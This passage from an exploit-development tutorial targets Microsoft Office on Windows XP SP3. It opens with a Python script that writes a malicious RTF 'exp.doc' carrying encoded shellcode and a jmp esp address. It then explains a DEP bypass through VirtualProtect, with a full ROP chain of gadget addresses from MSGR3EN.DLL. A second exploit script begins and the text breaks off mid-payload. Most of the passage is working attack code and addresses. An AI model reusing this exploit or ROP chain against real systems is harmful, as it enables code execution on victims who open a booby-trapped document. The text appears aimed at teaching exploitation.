"\x69\x6E\x64\x65\x6E\x74\x37\x32\x30\x5C\x70\x6E\x68\x61\x6E\x67" "\x20\x7B\x5C\x70\x6E\x74\x78\x74\x61\x20\x5C\x64\x62\x63\x68\x20" "\x2E\x7D\x7D\x7B\x5C\x2A\x5C\x70\x6E\x73\x65\x63\x6C\x76\x6C\x34" "\x5C\x70\x6E\x6C\x63\x6C\x74\x72\x5C\x70\x6E\x73\x74\x61\x72\x74" "\x31\x5C\x70\x6E\x69\x6E\x64\x65\x6E\x74\x37\x32\x30\x5C\x70\x6E" "\x68\x61\x6E\x67\x20\x7B\x5C\x70\x6E\x74\x78\x74\x61\x20\x5C\x64" "\x62\x63\x68\x20\x29\x7D\x7D\x7B\x5C\x2A\x5C\x70\x6E\x73\x65\x63" "\x6C\x76\x6C\x35\x5C\x70\x6E\x64\x65\x63\x5C\x70\x6E\x73\x74\x61" "\x72\x74\x31\x5C\x70\x6E\x69\x6E\x64\x65\x6E\x74\x37\x32\x30\x5C" "\x70\x6E\x68\x61\x6E\x67\x20\x7B\x5C\x70\x6E\x74\x78\x74\x62\x20" "\x5C\x64\x62\x63\x68\x20\x28\x7D\x7B\x5C\x70\x6E\x74\x78\x74\x61" "\x20\x5C\x64\x62\x63\x68\x20\x29\x7D\x7D\x7B\x5C\x2A\x5C\x70\x6E" "\x73\x65\x63\x6C\x76\x6C\x36\x5C\x70\x6E\x6C\x63\x6C\x74\x72\x5C" "\x70\x6E\x73\x74\x61\x72\x74\x31\x5C\x70\x6E\x69\x6E\x64\x65\x6E" "\x74\x37\x32\x30\x5C\x70\x6E\x68\x61\x6E\x67\x20\x0D\x0A\x7B\x5C" "\x70\x6E\x74\x78\x74\x62\x20\x5C\x64\x62\x63\x68\x20\x28\x7D\x7B" "\x5C\x70\x6E\x74\x78\x74\x61\x20\x5C\x64\x62\x63\x68\x20\x29\x7D" "\x7D\x7B\x5C\x2A\x5C\x70\x6E\x73\x65\x63\x6C\x76\x6C\x37\x5C\x70" "\x6E\x6C\x63\x72\x6D\x5C\x70\x6E\x73\x74\x61\x72\x74\x31\x5C\x70" "\x6E\x69\x6E\x64\x65\x6E\x74\x37\x32\x30\x5C\x70\x6E\x68\x61\x6E" "\x67\x20\x7B\x5C\x70\x6E\x74\x78\x74\x62\x20\x5C\x64\x62\x63\x68" "\x20\x28\x7D\x7B\x5C\x70\x6E\x74\x78\x74\x61\x20\x5C\x64\x62\x63" "\x68\x20\x29\x7D\x7D\x7B\x5C\x2A\x5C\x70\x6E\x73\x65\x63\x6C\x76" "\x6C\x38\x5C\x70\x6E\x6C\x63\x6C\x74\x72\x5C\x70\x6E\x73\x74\x61" "\x72\x74\x31\x5C\x70\x6E\x69\x6E\x64\x65\x6E\x74\x37\x32\x30\x5C" "\x70\x6E\x68\x61\x6E\x67\x20\x7B\x5C\x70\x6E\x74\x78\x74\x62\x20" "\x5C\x64\x62\x63\x68\x20\x28\x7D\x7B\x5C\x70\x6E\x74\x78\x74\x61" "\x20\x5C\x64\x62\x63\x68\x20\x29\x7D\x7D\x7B\x5C\x2A\x5C\x70\x6E" "\x73\x65\x63\x6C\x76\x6C\x39\x5C\x70\x6E\x6C\x63\x72\x6D\x5C\x70" "\x6E\x73\x74\x61\x72\x74\x31\x5C\x70\x6E\x69\x6E\x64\x65\x6E\x74" "\x37\x32\x30\x5C\x70\x6E\x68\x61\x6E\x67\x20\x0D\x0A\x7B\x5C\x70" "\x6E\x74\x78\x74\x62\x20\x5C\x64\x62\x63\x68\x20\x28\x7D\x7B\x5C" "\x70\x6E\x74\x78\x74\x61\x20\x5C\x64\x62\x63\x68\x20\x29\x7D\x7D" "\x5C\x70\x61\x72\x64\x5C\x70\x6C\x61\x69\x6E\x20\x5C\x6C\x74\x72" "\x70\x61\x72\x5C\x71\x6A\x20\x5C\x6C\x69\x30\x5C\x72\x69\x30\x5C" "\x6E\x6F\x77\x69\x64\x63\x74\x6C\x70\x61\x72\x5C\x77\x72\x61\x70" "\x64\x65\x66\x61\x75\x6C\x74\x5C\x61\x73\x70\x61\x6C\x70\x68\x61" "\x5C\x61\x73\x70\x6E\x75\x6D\x5C\x66\x61\x61\x75\x74\x6F\x5C\x61" "\x64\x6A\x75\x73\x74\x72\x69\x67\x68\x74\x5C\x72\x69\x6E\x30\x5C" "\x6C\x69\x6E\x30\x5C\x69\x74\x61\x70\x30\x20\x5C\x72\x74\x6C\x63" "\x68\x5C\x66\x63\x73\x31\x20\x5C\x61\x66\x30\x5C\x61\x66\x73\x32" "\x34\x5C\x61\x6C\x61\x6E\x67\x31\x30\x32\x35\x20\x5C\x6C\x74\x72" "\x63\x68\x5C\x66\x63\x73\x30\x20\x0D\x0A\x5C\x66\x73\x32\x31\x5C" "\x6C\x61\x6E\x67\x31\x30\x33\x33\x5C\x6C\x61\x6E\x67\x66\x65\x32" "\x30\x35\x32\x5C\x6B\x65\x72\x6E\x69\x6E\x67\x32\x5C\x6C\x6F\x63" "\x68\x5C\x61\x66\x30\x5C\x68\x69\x63\x68\x5C\x61\x66\x30\x5C\x64" "\x62\x63\x68\x5C\x61\x66\x31\x33\x5C\x63\x67\x72\x69\x64\x5C\x6C" "\x61\x6E\x67\x6E\x70\x31\x30\x33\x33\x5C\x6C\x61\x6E\x67\x66\x65" "\x6E\x70\x32\x30\x35\x32\x20\x7B\x5C\x72\x74\x6C\x63\x68\x5C\x66" "\x63\x73\x31\x20\x5C\x61\x66\x30\x20\x5C\x6C\x74\x72\x63\x68\x5C" "\x66\x63\x73\x30\x20\x5C\x69\x6E\x73\x72\x73\x69\x64\x31\x35\x38" "\x30\x37\x35\x31\x39\x20\x5C\x68\x69\x63\x68\x5C\x61\x66\x30\x5C" "\x64\x62\x63\x68\x5C\x61\x66\x31\x33\x5C\x6C\x6F\x63\x68\x5C\x66" "\x30\x20\x46\x7D\x7B\x5C\x72\x74\x6C\x63\x68\x5C\x66\x63\x73\x31" "\x20\x5C\x61\x66\x30\x20\x5C\x6C\x74\x72\x63\x68\x5C\x66\x63\x73" "\x30\x20\x5C\x69\x6E\x73\x72\x73\x69\x64\x31\x35\x38\x30\x37\x35" "\x31\x39\x20\x5C\x68\x69\x63\x68\x5C\x61\x66\x30\x5C\x64\x62\x63" "\x68\x5C\x61\x66\x31\x33\x5C\x6C\x6F\x63\x68\x7D\x7B\x5C\x73\x68" "\x70\x7B\x5C\x73\x70\x7B\x5C\x73\x6E\x31\x09\x70\x66\x52\x61\x47" "\x4D\x65\x4E\x54\x73\x7D\x7B\x5C\x73\x76\x20\x31\x3B\x31\x3B\x30" "\x31\x31\x31\x31\x31\x31\x31\x66\x66\x30\x33\x30\x30\x30\x30\x30" "\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30" "\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30" "\x30\x30\x30") jmpesp=("\x37\x62\x34\x36\x38\x36\x37\x63") # taken from Kernal32.dll header2=("\x30\x30\x30\x30\x38" "\x30\x37\x63\x30\x30\x30\x30\x38\x30\x37\x63\x42\x42\x42\x42\x42" "\x42\x42\x42\x43\x43\x43\x43\x43\x43\x43\x43\x44\x44\x44\x44\x44" "\x44\x44\x44\x39\x30\x39\x30") magic =("\x38\x33\x65\x63\x34\x30\x64\x62\x63\x30\x33\x31\x63\x39\x62\x66\x37\x63\x31\x36\x37\x30" "\x63\x63\x64\x39\x37\x34\x32\x34\x66\x34\x62\x31\x31\x65\x35\x38" "\x33\x31\x37\x38\x31\x38\x38\x33\x65\x38\x66\x63\x30\x33\x37\x38" "\x36\x38\x66\x34\x38\x35\x33\x30\x37\x38\x62\x63\x36\x35\x63\x39" "\x37\x38\x62\x36\x32\x33\x66\x35\x66\x33\x62\x34\x61\x65\x37\x64" "\x30\x32\x61\x61\x33\x61\x33\x32\x31\x63\x62\x66\x36\x32\x65\x64" "\x31\x64\x35\x34\x64\x35\x36\x36\x32\x39\x32\x31\x65\x37\x39\x36" "\x36\x30\x66\x35\x37\x31\x63\x61\x30\x36\x33\x35\x66\x35\x31\x34" "\x63\x37\x37\x63\x66\x62\x31\x62\x30\x35\x36\x62\x66\x30\x32\x37" "\x64\x64\x34\x38\x66\x64\x32\x32\x33\x38\x31\x62\x61\x32\x65\x38" "\x63\x33\x66\x37\x33\x62\x37\x61\x63\x66\x34\x63\x34\x66\x32\x33" "\x64\x33\x35\x33\x61\x34\x35\x37\x66\x37\x64\x38\x33\x62\x38\x33" "\x38\x65\x38\x33\x31\x66\x35\x37\x35\x33\x36\x34\x35\x31\x61\x31" "\x33\x33\x63\x64\x66\x35\x63\x36\x66\x35\x63\x31\x37\x65\x39\x38" "\x66\x35\x61\x61\x66\x31\x30\x35\x61\x38\x32\x36\x39\x39\x33\x64" "\x33\x62\x63\x30\x64\x39\x66\x65\x35\x31\x36\x31\x62\x36\x30\x65" "\x32\x66\x38\x35\x31\x39\x38\x37\x62\x37\x37\x38\x32\x66\x35\x39" "\x39\x30\x37\x62\x64\x37\x30\x35\x37\x66\x65\x38\x37\x62\x63\x61" ) footer =("\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31" "\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31" "\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31" "\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31" "\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31" "\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31" "\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31" "\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31" "\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31" "\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31" "\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31" "\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31" "\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31" "\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31" "\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31" "\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31" "\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31" "\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31" "\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31" "\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31" "\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31" "\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31" "\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31" "\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31" "\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31" "\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31" "\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31" "\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31" "\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31" "\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31" "\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31" "\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31" "\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31" "\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31" "\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31" "\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31" "\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31" "\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31" "\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31" "\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31" "\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31" "\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31" "\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31" "\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31" "\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31" "\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31" "\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31" "\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31" "\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31" "\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31" "\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31" "\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31" "\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31" "\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31" "\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31" "\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31" "\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31" "\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31" "\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31" "\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31" "\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31" "\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31" "\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31" "\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31" "\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31" "\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31" "\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31" "\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31" "\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31" "\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31" "\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31" "\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31" "\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31" "\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31" "\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31" "\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31" "\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31" "\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31" "\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31" "\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31" "\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31" "\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31" "\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31\x36\x31" "\x36\x31\x7D\x7D\x7D\x7D") payload = header + jmpesp + header2 + magic + footer file = open("exp.doc",'wb') file.write(payload) file.close()

Now, let’s discuss how to bypass DEP. Since we can’t execute our own code on the stack, the only thing we can do is execute existing instructions or call existing functions from loaded modules and use data on the stack as a parameter forthose functions/instructions. There are various methods and functions used to bypass DEP such as:



→VirtualAlloc



→HeapCreate



→SetProcessDepPolicy



→VirtualProtect



→WriteProcessMemory



Of all the above, for simplicity’s sake, I will use the VirtualProtect function to bypass DEP. The objective of VirtualProtect is to set the permission of a stack area as executable so that our shellcode can get executed. Now I will show a practical and live example. I hope you can understand this better rather than multiple lengthy examples.



VirtualProtect()



The VirtualProtect function changes the access protection of memory in the calling process.



BOOL WINAPI VirtualProtect(



__in LPVOID lpAddress,



__in SIZE_T dwSize,



__in DWORD flNewProtect,



__out PDWORD lpflOldProtect



);



If you want to use this function, you will have to put 5 parameters on the stack.



On XP SP3, VirtualProtect() is located at 0x7C801AD4 (kernel32.dll), but there are two things that you can do: one is to make an ROP chain manually, the other using a tool that does it automatically. Here’s how to do the former: we know that in order to bypass DEP manually, you have to set all parameters for the VirtualProtect function,



In order to make an ROP chain, we have to find anROP gadget. (The instruction code used to make anROP chain is called an ROP gadget.) I have selected adll named msgr3en.dll to find it. In this example, I will use VirtualProtect () to modify the protection parameter of the memory page where the shellcode is located. This function requires the following parameters which are explained below:



1) return address: This is the address where control returns after finishing VirtualProtect. Or, you may say that this is the address of your shellcode. It is a dynamically generated address.



2) lpAddress: A pointer to the location wherethe shellcode is placed. This is also a dynamically generated address you need to set at run time.



3) Size:As the name suggests,it’s the size that needs to be passed.



4) flNewProtect: This is a protection flag.To make the stack area executable,this should be 0x20.



5) lpfloldprotect:Old protection value.



We will now pass all parameters in order to call VirtualProtect. Here are the instructions:



#0x3F208016 : # RETN [Module : MSGR3EN.DLL]



#0x3F208016 : # RETN [Module : MSGR3EN.DLL]



#0x3F208016 : # RETN [Module : MSGR3EN.DLL]



#0x3F208016 : # RETN [Module : MSGR3EN.DLL]



#0x3F208016 : # RETN [Module : MSGR3EN.DLL]



#0x3F394685 : {POP} # PUSH ESP # XOR EAX,EAX # POP EDI # POP ESI # RETN [Module : MSGR3EN.DLL]



#0x3F39FC28 : # MOV EAX,EDI # POP ESI # RETN [Module : MSGR3EN.DLL]



#0x3F3513A0 : # ADD ESP,20 # RETN 4 – MSGR3EN.DLL –



#0x3F2EF6BF : # XCHG EAX,EDX # RETN [Module : MSGR3EN.DLL]



#0x3F34588C : # MOV EAX,EDX # RETN [Module : MSGR3EN.DLL]



#0x3F3094EF : # XCHG EAX,ESI # RETN [Module : MSGR3EN.DLL]



#0x3F34588C : # MOV EAX,EDX # RETN [Module : MSGR3EN.DLL]



#0x3F3982F7 : # ADD EAX,100 # POP EBP # RETN [Module : MSGR3EN.DLL]



#0x3F3982E9 : # ADD EAX,40 # POP EBP # RETN [Module : MSGR3EN.DLL]



#0x3F2CA08A : # INC ESI # RETN [Module : MSGR3EN.DLL]



#0x3F2CA08A : # INC ESI # RETN [Module : MSGR3EN.DLL]



#0x3F2CA08A : # INC ESI # RETN [Module : MSGR3EN.DLL]



#0x3F2CA08A : # INC ESI # RETN [Module : MSGR3EN.DLL]



#0x3F369711 : {POP} # MOV DWORD PTR DS:[ESI+18],EAX # POP EDI # POP ESI # RETN 4 [Module : MSGR3EN.DLL]



#0x3F34588C : # MOV EAX,EDX # RETN [Module : MSGR3EN.DLL]



#0x3F3094EF : # XCHG EAX,ESI # RETN [Module : MSGR3EN.DLL]



#0x3F34588C : # MOV EAX,EDX # RETN [Module : MSGR3EN.DLL]



#0x3F3982F7 : # ADD EAX,100 # POP EBP # RETN [Module : MSGR3EN.DLL]



#0x3F3982E9 : # ADD EAX,40 # POP EBP # RETN [Module : MSGR3EN.DLL]



#0x3F2CA08A : # INC ESI # RETN [Module : MSGR3EN.DLL]



#0x3F2CA08A : # INC ESI # RETN [Module : MSGR3EN.DLL]

#0x3F2CA08A : # INC ESI # RETN [Module : MSGR3EN.DLL]



#0x3F2CA08A : # INC ESI # RETN [Module : MSGR3EN.DLL]



#0x3F2CA08A : # INC ESI # RETN [Module : MSGR3EN.DLL]



#0x3F2CA08A : # INC ESI # RETN [Module : MSGR3EN.DLL]



#0x3F2CA08A : # INC ESI # RETN [Module : MSGR3EN.DLL]



#0x3F2CA08A : # INC ESI # RETN [Module : MSGR3EN.DLL]



#0x3F369711 : {POP} # MOV DWORD PTR DS:[ESI+18],EAX # POP EDI # POP ESI # RETN 4 [Module : MSGR3EN.DLL]



#0x3F34588C # MOV EAX,EDX # RETN [Module : MSGR3EN.DLL]



#0x3f2fed4c # POP EAX # RETN ** [MSGR3EN.DLL]



#0x3f2b745e # MOV ECX,DWORD PTR DS:[EAX] # RETN [MSGR3EN.DLL]



#0x3F34588C # MOV EAX,EDX # RETN [Module : MSGR3EN.DLL]



#ADD EAX,8 # RETN [Module : MSGR3EN.DLL]



#ADD EAX,8 # RETN [Module : MSGR3EN.DLL]



#ADD EAX,8 # RETN [Module : MSGR3EN.DLL]



#0x3F2FDA08 # XCHG EAX,ESP # RETN [Module : MSGR3EN.DLL]



So let me explain this in some detail.I found the above instruction in the dll named msgr3en.dll. This dll gets loaded at the runtime when Office gets loaded. The rule of thumb concerning ROP chain is you take the instruction from the module that is loaded with the application. Now,we set all parameters for the VirtualProtect function from the above instruction in order to make stack area executable:



#———————–put Stack Pointer in EAX & EDI ————————–#



rop = “8546393f” #0x3F394685 : {POP} #PUSH ESP #XOR EAX,EAX#POP EDI #POP ESI#RETN [Module : MSGR3EN.DLL]



rop += “41414141” #Padding for POP ESI



rop += “28fc393f” #0x3F39FC28 : #MOV EAX,EDI #POP ESI #RETN[Module : MSGR3EN.DLL]



rop += “41414141” #Padding for POP ESI



rop += “a013353f” #0x3F3513A0 : 20 :# ADD ESP,20 # RETN 4 – MSGR3EN.DLL



rop += “41414141” * 2 #Padding for JUMP



#——————-Parameters for VirtualProtect() —————————-#



VirtualProtect = “825a203f” #0x3f205a82 : # JMP ECX | Call VirtualProtect()



VirtualProtect += “41414141” #Return Address



VirtualProtect += “42424242” #lpAdress



VirtualProtect += “dc050000” #Size 1500



VirtualProtect += “40000000” #flNewProtect



VirtualProtect += “10133b3f” #Writeable Address 3F3B1310



#——————– Setting 1st Parameter ————————————–#



param1 = “bff62e3f” #0x3F2EF6BF : # XCHG EAX,EDX # RETN [Module : MSGR3EN.DLL]



param1 += “41414141” #Padding for ADD ESP,20 # RETN 4



param1 += “8c58343f” #0x3F34588C : # MOV EAX,EDX # RETN [Module : MSGR3EN.DLL]



param1 += “ef94303f” #0x3F3094EF : # XCHG EAX,ESI # RETN [Module : MSGR3EN.DLL]



param1 += “8c58343f” #0x3F34588C : # MOV EAX,EDX # RETN [Module : MSGR3EN.DLL]



param1 += “f782393f” #0x3F3982F7 : # ADD EAX,100 # POP EBP # RETN [Module : MSGR3EN.DLL]



param1 += “41414141” #Padding for POP EBP



param1 += “e982393f” #0x3F3982E9 : # ADD EAX,40 # POP EBP # RETN [Module : MSGR3EN.DLL]



param1 += “41414141” #Padding for POP EBP



param1 += “8aa02c3f” #0x3F2CA08A : # INC ESI # RETN [Module : MSGR3EN.DLL]



param1 += “8aa02c3f” #0x3F2CA08A : # INC ESI # RETN [Module : MSGR3EN.DLL]



param1 += “8aa02c3f” #0x3F2CA08A : # INC ESI # RETN [Module : MSGR3EN.DLL]



param1 += “8aa02c3f” #0x3F2CA08A : # INC ESI # RETN [Module : MSGR3EN.DLL]



param1 += “1197363f” #0x3F369711 : {POP} # MOV DWORD PTR DS:[ESI+18],EAX # POP EDI # POP ESI # RETN 4 [Module : MSGR3EN.DLL]



param1 += “41414141” #Padding for POP EDI



param1 += “41414141” #Padding for POP ESI



#——————– Setting 2nd Parameter ————————————–#



param2 = “8c58343f” #0x3F34588C : # MOV EAX,EDX # RETN [Module : MSGR3EN.DLL]



param2 += “41414141” #Padding for RETN 4



param2 += “ef94303f” #0x3F3094EF : # XCHG EAX,ESI # RETN [Module : MSGR3EN.DLL]



param2 += “8c58343f” #0x3F34588C : # MOV EAX,EDX # RETN [Module : MSGR3EN.DLL]



param2 += “f782393f” #0x3F3982F7 : # ADD EAX,100 # POP EBP # RETN [Module : MSGR3EN.DLL]



param2 += “41414141” #Padding for POP EBP



param2 += “e982393f” #0x3F3982E9 : # ADD EAX,40 # POP EBP # RETN [Module : MSGR3EN.DLL]



param2 += “41414141” #Padding for POP EBP



param2 += “8aa02c3f” #0x3F2CA08A : # INC ESI # RETN [Module : MSGR3EN.DLL]



param2 += “8aa02c3f” #0x3F2CA08A : # INC ESI # RETN [Module : MSGR3EN.DLL]



param2 += “8aa02c3f” #0x3F2CA08A : # INC ESI # RETN [Module : MSGR3EN.DLL]



param2 += “8aa02c3f” #0x3F2CA08A : # INC ESI # RETN [Module : MSGR3EN.DLL]



param2 += “8aa02c3f” #0x3F2CA08A : # INC ESI # RETN [Module : MSGR3EN.DLL]



param2 += “8aa02c3f” #0x3F2CA08A : # INC ESI # RETN [Module : MSGR3EN.DLL]



param2 += “8aa02c3f” #0x3F2CA08A : # INC ESI # RETN [Module : MSGR3EN.DLL]



param2 += “8aa02c3f” #0x3F2CA08A : # INC ESI # RETN [Module : MSGR3EN.DLL]



param2 += “1197363f” #0x3F369711 : {POP} # MOV DWORD PTR DS:[ESI+18],EAX # POP EDI # POP ESI # RETN 4 [Module : MSGR3EN.DLL]



param2 += “41414141” #Padding for POP EDI



param2 += “41414141” #Padding for POP ESI



#————————- Fetch & Call VirtualProtect() address ———————-#



call = “8c58343f” #0x3F34588C : # MOV EAX,EDX # RETN [Module : MSGR3EN.DLL]



call += “41414141” #Padding for RET 4



call += “4ced2f3f” #0x3f2fed4c : # POP EAX # RETN * [MSGR3EN.DLL]



call += “0811103f” #PTR to VirtualProtect()



call += “5e742b3f” #0x3f2b745e : # MOV ECX,DWORD PTR DS:[EAX] # RETN [MSGR3EN.DLL]



call += “8c58343f” #0x3F34588C : # MOV EAX,EDX # RETN [Module : MSGR3EN.DLL]



call += “30d7393f” #ADD EAX,8 # RETN [Module : MSGR3EN.DLL]



call += “30d7393f” #ADD EAX,8 # RETN [Module : MSGR3EN.DLL]



call += “30d7393f” #ADD EAX,8 # RETN [Module : MSGR3EN.DLL]



call += “08da2f3f” #0x3F2FDA08 : # XCHG EAX,ESP # RETN [Module : MSGR3EN.DLL]



Now this is the time to write the complete code for the exploit and that is:



#!/usr/bin/python



importstruct



importbinascii



header = (“\x7B\x5C\x73\x68\x70\x7B\x5C\x73\x70\x7D\x7D”



“\x7B\x5C\x73\x68\x70\x7B\x5C\x73\x70\x7D\x7D\x7B\x5C\x73\x68\x70\x7B”



“\x5C\x73\x70\x7D\x7D\x7B\x5C\x23\x73\x68\x70\x7B\x5C\x2A\x5C\x73\x68”



“\x70\x69\x6E\x73\x74\x5C\x73\x68\x70\x66\x68\x64\x72\x30\x5C\x23\x73”



“\x68\x70\x62\x78\x63\x6F\x6C\x75\x6D\x6E\x5C\x73\x68\x70\x62\x79\x70”



“\x61\x72\x61\x5C\x73\x68\x20\x70\x77\x72\x32\x7D\x7B\x5C\x73\x70\x7B”



“\x7B\x5C\x73\x6E\x20\x7B\x7D\x7B\x7D\x7B\x5C\x73\x6E\x7D\x7B\x5C\x73”



“\x6E\x7D\x7B\x7B\x5C\x2A\x5C\x2A\x7D\x7D\x70\x46\x72\x61\x67\x6D\x65”



“\x6E\x74\x73\x7D\x7B\x5C\x2A\x5C\x2A\x5C\x2A\x7D\x7B\x23\x5C\x73\x76”



“\x7B\x5C\x2A\x5C\x2A\x5C\x2A\x5C\x2A\x5C\x2A\x5C\x2A\x5C\x2A\x5C\x2A”



“\x5C\x2A\x5C\x2A\x5C\x2A\x5C\x2A\x5C\x2A\x5C\x2A\x5C\x2A\x5C\x2A\x5C”



“\x2A\x5C\x2A\x5C\x2A\x5C\x2A\x5C\x2A\x5C\x2A\x5C\x2A\x5C\x2A\x5C\x2A”



“\x5C\x2A\x7D\x39\x3B\x32\x3B\x66\x66\x66\x66\x66\x66\x66\x66\x66\x66”



“\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23”



“\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23\x23”



